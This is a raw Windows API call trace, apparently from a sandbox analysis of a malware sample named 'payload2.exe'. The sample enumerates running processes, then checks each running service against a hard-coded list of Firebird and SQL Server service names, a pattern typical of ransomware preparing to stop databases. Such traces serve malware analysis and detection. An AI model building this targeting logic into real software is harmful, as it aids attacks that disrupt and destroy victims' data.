	[0057.671] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0057.671] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0057.671] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0057.672] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0057.672] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0057.673] lstrlenW (lpString="eastexamined.exe") returned 16
	[0057.673] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0057.674] lstrlenW (lpString="attacks-according.exe") returned 21
	[0057.674] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0057.675] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0057.675] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0057.676] lstrlenW (lpString="values latin.exe") returned 16
	[0057.676] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0057.695] lstrlenW (lpString="eaufeed.exe") returned 11
	[0057.695] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0057.696] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0057.696] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0057.697] lstrlenW (lpString="burning.exe") returned 11
	[0057.697] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0057.698] lstrlenW (lpString="warned-garage.exe") returned 17
	[0057.698] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0057.699] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0057.699] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0057.700] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0057.700] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0057.701] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0057.701] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0057.701] lstrlenW (lpString="proprietary.exe") returned 15
	[0057.701] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.702] lstrlenW (lpString="conhost.exe") returned 11
	[0057.702] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.703] lstrlenW (lpString="conhost.exe") returned 11
	[0057.703] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0057.705] lstrlenW (lpString="payload2.exe") returned 12
	[0057.705] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0057.706] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0057.706] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.706] lstrlenW (lpString="conhost.exe") returned 11
	[0057.706] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.707] lstrlenW (lpString="svchost.exe") returned 11
	[0057.707] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0057.708] lstrlenW (lpString="cmd.exe") returned 7
	[0057.708] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.709] lstrlenW (lpString="conhost.exe") returned 11
	[0057.709] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0057.709] CloseHandle (hObject=0x2b8) returned 1
	[0057.709] Sleep (dwMilliseconds=0x1f4) 
	[0059.883] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d9a8
	[0059.885] EnumServicesStatusExW (in: hSCManager=0x52d9a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0059.886] GetLastError () returned 0xea
	[0059.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x54f860
	[0059.886] EnumServicesStatusExW (in: hSCManager=0x52d9a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54f860, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54f860, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0059.887] CloseServiceHandle (hSCObject=0x52d9a8) returned 1
	[0059.888] lstrlenW (lpString="Appinfo") returned 7
	[0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0059.888] lstrlenW (lpString="AppXSvc") returned 7
	[0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0059.888] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0059.888] lstrlenW (lpString="Audiosrv") returned 8
	[0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0059.889] lstrlenW (lpString="BFE") returned 3
	[0059.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0059.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0059.889] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0059.889] lstrlenW (lpString="BITS") returned 4
	[0059.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0059.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0059.889] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0059.889] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0059.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0059.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0059.889] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0059.889] lstrlenW (lpString="CDPSvc") returned 6
	[0059.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0059.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0059.889] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0059.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0059.889] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0059.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0059.890] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0059.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0059.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0059.890] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0059.890] lstrlenW (lpString="CryptSvc") returned 8
	[0059.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0059.890] lstrlenW (lpString="DcomLaunch") returned 10
	[0059.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0059.890] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0059.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0059.890] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0059.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0059.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0059.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0059.891] lstrlenW (lpString="Dhcp") returned 4
	[0059.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0059.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0059.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0059.891] lstrlenW (lpString="Dnscache") returned 8
	[0059.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0059.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0059.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0059.891] lstrlenW (lpString="DoSvc") returned 5
	[0059.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0059.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0059.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0059.891] lstrlenW (lpString="DPS") returned 3
	[0059.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0059.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0059.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0059.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0059.892] lstrlenW (lpString="DusmSvc") returned 7
	[0059.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0059.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0059.892] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0059.892] lstrlenW (lpString="EventLog") returned 8
	[0059.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0059.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0059.892] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0059.892] lstrlenW (lpString="EventSystem") returned 11
	[0059.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0059.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0059.892] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0059.892] lstrlenW (lpString="FontCache") returned 9
	[0059.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0059.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0059.892] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0059.892] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0059.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0059.892] lstrlenW (lpString="gpsvc") returned 5
	[0059.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0059.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0059.893] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0059.893] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0059.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0059.893] lstrlenW (lpString="iphlpsvc") returned 8
	[0059.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.893] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0059.893] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0059.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0059.893] lstrlenW (lpString="KeyIso") returned 6
	[0059.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0059.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0059.893] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0059.893] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0059.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0059.893] lstrlenW (lpString="LanmanServer") returned 12
	[0059.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.893] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0059.893] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0059.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0059.893] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0059.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.893] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0059.894] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0059.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0059.894] lstrlenW (lpString="lfsvc") returned 5
	[0059.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0059.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0059.894] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0059.894] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0059.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0059.894] lstrlenW (lpString="lmhosts") returned 7
	[0059.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0059.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0059.894] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0059.894] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0059.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0059.894] lstrlenW (lpString="LSM") returned 3
	[0059.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0059.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0059.894] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0059.894] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0059.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0059.894] lstrlenW (lpString="MapsBroker") returned 10
	[0059.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0059.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0059.894] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0059.894] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0059.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0059.894] lstrlenW (lpString="MpsSvc") returned 6
	[0059.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.895] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0059.895] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0059.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0059.895] lstrlenW (lpString="NcbService") returned 10
	[0059.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0059.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0059.895] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0059.895] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0059.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0059.895] lstrlenW (lpString="netprofm") returned 8
	[0059.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0059.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0059.895] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0059.895] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0059.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0059.895] lstrlenW (lpString="NgcSvc") returned 6
	[0059.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0059.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0059.895] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0059.895] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0059.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0059.895] lstrlenW (lpString="NlaSvc") returned 6
